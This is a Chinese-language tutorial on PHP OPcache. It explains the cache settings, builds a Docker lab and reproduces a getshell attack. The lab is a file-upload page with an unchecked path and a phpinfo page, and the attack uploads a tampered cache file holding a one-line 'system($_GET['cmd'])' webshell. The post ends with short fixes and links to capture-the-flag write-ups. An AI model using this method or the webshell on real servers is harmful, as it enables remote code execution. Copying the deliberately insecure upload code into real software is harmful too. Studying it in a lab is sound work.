OPcache基础

OPcache是一种通过解析的PHP脚本预编译的字节码存放在共享内存中来避免每次加载和解析PHP脚本的开销,解析器可以直接从共享内存读取已经缓存的字节码,从而大大提高了PHP的执行效率。
先看下PHP的正常执行流程
1.request请求(nginx,apache,cli等)
2.Zend引擎读取.php文件
3.扫描其字典和表达式
4.解析文件
5.创建要执行的计算机代码(成为Opcode)
6.最后执行Opcode
7.response返回
每一次执行PHP都要执行一遍上面的步骤,如果PHP源码没有变化,那么Opcode也不会变化,显然没必要 我们看看使用Opcache之后
避免重组编译 减少CPU和内存开销

OPcache配置解读

//开启opcache
opcache.enable=1 //CLI环境下,PHP启用OPcache
opcache.enable_cli=1 //OPcache共享内存存储大小,单位MB
opcache.memory_consumption=128 //PHP使用了一种叫做字符串驻留(string interning)的技术来改善性能。例如,如果你在代码中使用了1000次字符串“foobar”,在PHP内部只会在第一使用这个字符串的时候分配一个不可变的内存区域来存储这个字符串,其他的999次使用都会直接指向这个内存区域。这个选项则会把这个特性提升一个层次——默认情况下这个不可变的内存区域只会存在于单个php-fpm的进程中,如果设置了这个选项,那么它将会在所有的php-fpm进程中共享。在比较大的应用中,这可以非常有效地节约内存,提高应用的性能。
这个选项的值是以兆字节(megabytes)作为单位,如果把它设置为16,则表示16MB,默认是4MB
opcache.interned_strings_buffer=8 //这个选项用于控制内存中最多可以缓存多少个PHP文件。这个选项必须得设置得足够大,大于你的项目中的所有PHP文件的总和。
设置值取值范围最小值是 200,最大值在 PHP 5.5.6 之前是 100000,PHP 5.5.6 及之后是 1000000。也就是说在200到1000000之间。
opcache.max_accelerated_files=4000 //设置缓存的过期时间(单位是秒),为0的话每次都要检查
opcache.revalidate_freq=60 //从字面上理解就是“允许更快速关闭”。它的作用是在单个请求结束时提供一种更快速的机制来调用代码中的析构器,
从而加快PHP的响应速度和PHP进程资源的回收速度,这样应用程序可以更快速地响应下一个请求。把它设置为1就可以使用这个机制了。
opcache.fast_shutdown=1 //如果启用(设置为1),OPcache会在opcache.revalidate_freq设置的秒数去检测文件的时间戳(timestamp)检查脚本是否更新。
如果这个选项被禁用(设置为0),opcache.revalidate_freq会被忽略,PHP文件永远不会被检查。这意味着如果你修改了你的代码,然后你把它更新到服务器上,再在浏览器上请求更新的代码对应的功能,你会看不到更新的效果
强烈建议你在生产环境中设置为0,更新代码后,再平滑重启PHP和web服务器。
opcache.validate_timestamps=0 //开启Opcache File Cache(实验性), 通过开启这个, 我们可以让Opcache把opcode缓存缓存到外部文件中, 对于一些脚本, 会有很明显的性能提升.
这样PHP就会在/tmp目录下Cache一些Opcode的二进制导出文件, 可以跨PHP生命周期存在.
opcache.file_cache=/tmp

Docker漏洞环境搭建

1.创建容器

创建php7.0的容器 将当前主机的web目录映射到容器中

docker run -d -p 8888:80 --name php80  -v /var/www:/var/www/html --privileged=true --restart=always php:7.0

2.找不到php.ini文件怎么办?

通过这个方法搭建的时候发现php.ini找不到 这一点可以通过phpinfo函数找到 这个

进入linux的/usr/local/etc/php  将目录下的 php.ini-development 文件复制一份到当前文件夹下名为php.ini 重启服务即可完美解决

3.修改配置文件

在php.ini中 找到如下配置;opcache.enable=0
//修改成(去掉;注释,将0改成1)
opcache.enable=1
关闭时间戳验证
;opcache.validate_timestamps=1
//修改成(去掉;注释,将1改成0)
opcache.validate_timestamps=0
设置Opcache缓存路径
;opcache.file_cache=
//修改
opcache.file_cache="/tmp/opcache"
设置缓存优先级
;opcache.file_cache_only=0
//修改
opcache.file_cache_only=1

在最后一行添加
用来引用opcache
zend_extension=opcache.so
重启服务器生效

4.添加漏洞页面

在宿主机的web目录创建即可

index.php

<html>
<body>
<form action="upload-file.php" method="post" enctype="multipart/form-data">
<label for="file">filename:</label>
<input type="file" name="file" id="file" />
<br/>
<label for="filepath">filepath:</label>
<input type="text" name="filepath" id="filepath" />
<br/>
<input type="submit" name="submit" value="submit" />
</form>
</body>
</html>

upload-file.php

<?php
$path = $_POST['filepath'];
echo "filename: " . $_FILES["file"]["name"] . "<br />";
echo "type: " . $_FILES["file"]["type"] . "<br />";
echo "size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
move_uploaded_file($_FILES["file"]["tmp_name"], $path . $_FILES["file"]["name"]);
echo "save : " . $path . $_FILES["file"]["name"];
?>

phpinfo.php

<?php
phpinfo();
?>

Opcache漏洞复现

假设目标站点已经又一个phpinfo()文件了,通过这个文件可以得到Opcache缓存目录,还需要下一步计算system_id
system_id是当前PHP版本号,Zend扩展版本号以及各个数据类型大小的MD5哈希值
脚本地址:https://github.com/GoSecure/php7-opcache-override
此时可以利用上传漏洞将文件上传到web目录,但是目录没有读写的权限,这时候就可以通过/tmp/opcache/[system_id]/var/www/index.php.bin为一个webshell的二进制缓存运行webshell
 
本地构建webshell文件index.php
<?php
system($_GET['cmd']);
?>
1.在本地php.ini中设置opcache.file_cache为你所想要指定的缓存目录

2.运行php服务器向index发送请求,触发缓存疫情进行文件缓存

3.打开缓存目录中的index.php.bin文件修改里面的的system_id为目标站点的system_id  记事本打开就ok改成我们用脚本计算出来的system_id值

4.通过上传漏洞将修改后的index.php.bin上传到tmp/opcache/[system_id]/var/www/index.php.bin覆盖掉原来的index.php.bin
重新访问index.php,就成功运行了webshell

漏洞修补:

   禁用file_cache_only
   启用validate_timestamp

参考引用+其他延伸

CTF题
https://ctf.rip/asis-ctf-2016-binarycloud-web-challenge/
https://github.com/tothi/ctfs/tree/master/alictf-2016/homework
php安装后找不到php.ini
利用PHP的OPcache机制getshell/
https://chybeta.github.io/2017/05/13/利用PHP的OPcache机制
http://www.vuln.cn/6763

php7的Opcache getshell的更多相关文章

  1. PHP7添加opcache.so模块

    启动php报错如下: # /usr/local/php7/sbin/php-fpm [-Apr- ::] NOTICE: PHP message: PHP Warning: PHP Startup: ...

  2. PHP7有没有你们说的那么牛逼

    男人不能快,但程序一定要快.PHP7到底快不快,我们拭目以待. PHP7来一发 PHP7正式发布到现在已经一年半了,刚出道就号称比旧版本快了几倍,各种开源框架或系统运行在PHP7上速度效率提高了几倍, ...

  3. PHP 调用 Go 服务的正确方式 - Unix Domain Sockets

    * { color: #3e3e3e } body { font-family: "Helvetica Neue", Helvetica, "Hiragino Sans ...

  4. 记一次PHP7+opcache+zmq出现SIGSEGV 问题的查找(一次不成功的bug查找)

    Title:  记一次PHP7+opcache+zmq出现SEGSEGV问题的查找(一次不成功的bug查找) bug来历自述:线上代码PHP环境是5.2,为了提升性能(逼格),于是升级为PHP7并使用 ...

  5. PHP7 开启Zend Opcache

    PHP7 开启Zend Opcache 作为PHP这10年来最大的版本与性能升级,PHP7在多次的测试中都表现出很夸张的性能提升,然而,为了让它能发挥出最大的性能,需要手动开启PHP自带的opcach ...

  6. 实现opcache加速php7.X

    一.环境准备 操作系统:Centos8.3.2011 软件:PHP7.2.24 二.安装过程 1.安装软件 [20:03:29 root@centos8 src]#dnf -y install php ...

  7. CentOS 7.1编译安装PHP7

    原文: https://typecodes.com/web/centos7compilephp7.html?utm_source=tuicool&utm_medium=referral 1 创 ...

  8. CentOS6编译安装PHP7+Nginx

    本文属于动手搭建PHP开发环境的一部分,更多点击链接查看. 本文以centos6为例. 安装PHP 下载 http://cn2.php.net/distributions/php-5.6.22.tar ...

  9. PHP从PHP5.0到PHP7.1的性能全评测

    本文是最初是来自国外的这篇:PHP Performance Evolution 2016, 感谢高可用架构公众号翻译成了中文版, 此处是转载的高可用架构翻译后的文章从PHP 5到PHP 7性能全评测( ...

随机推荐

  1. 利用Docker搭建开发环境

    一. 前言 随着平台的不断壮大,项目的研发对于开发人员而言,对于外部各类环境的依赖逐渐增加,特别是针对基础服务的依赖.这些现象导致开 发人员常常是为了简单从而直接使用公有的基础组件进行协同开发,在出现 ...

  2. springboot入门系列(三):SpringBoot教程之RabbitMQ示例

    SpringBoot教程之RabbitMQ示例 SpringBoot框架已经提供了RabbitMQ的使用jar包,开发人员在使用RabbitMQ的时候只需要引用jar包简单的配置一下就可以使用Rabb ...

  3. Fur 是 .NET 5 平台下企业应用开发最佳实践框架。

    Fur 是 .NET 5 平台下企业应用开发最佳实践框架. 立即尝鲜 Fur 是基于最新的 .NET 5 RC2 构建,目的是为了尽早体验新功能,对即将到来的 .NET 5 正式版做出最快的响应. 所 ...

  4. Sentinel流控规则

    流控规则 注:Sentinel的监控页面一开始是没有东西,需要对监控的服务发起请求后才会出现 资源名:唯一名称,默认请求路径 针对来源:Sentinel可以针对调用者进行限流,填写微服务名,指定对哪个 ...

  5. 在java的多态调用中,new的是哪一个类就是调用的哪个类的方法。

    在java的多态调用中,new的是哪一个类就是调用的哪个类的方法.(x) 原因: ava多态有两种情况:重载和覆写 在覆写中,运用的是动态单分配,是根据new的类型确定对象,从而确定调用的方法: 在重 ...

  6. SAP ABAP: 把内表数据以excel或csv格式,通过前台或者后台的方式上传至FTP服务器

    今天接到一个FTP的需求,就是每天晚上把当天某个报表的数据自动保存excel上传到FTP服务器. SAP已经有现成的FTP函数使用,可以通过函数的方式来实现,实现前先准备一些数据: User:登录FT ...

  7. java后端选型20200729

    参考地址:https://gitee.com/shuzheng/zheng 后端技术: 技术 名称 官网 Spring Framework 容器 http://projects.spring.io/s ...

  8. Vulnhub DC3

    靶机简介 C-3是另一个专门建造的易受攻击的实验室,目的是获得渗透测试领域的经验.与以前的DC版本一样,这个版本是为初学者设计的,尽管这次只有一个标志,一个入口点,根本没有线索.Linux技能和熟悉L ...

  9. Yii2使用数据库操作汇总(增删查改、事务)

    查询 //1.简单查询 $admin=Admin::model()->findAll($condition,$params); $admin=Admin::model()->findAll ...

  10. 程序人生|从网瘾少年到微软、BAT、字节offer收割机逆袭之路

    有情怀,有干货,微信搜索[三太子敖丙]关注这个不一样的程序员. 本文 GitHub https://github.com/JavaFamily 已收录,有一线大厂面试完整考点.资料以及我的系列文章. ...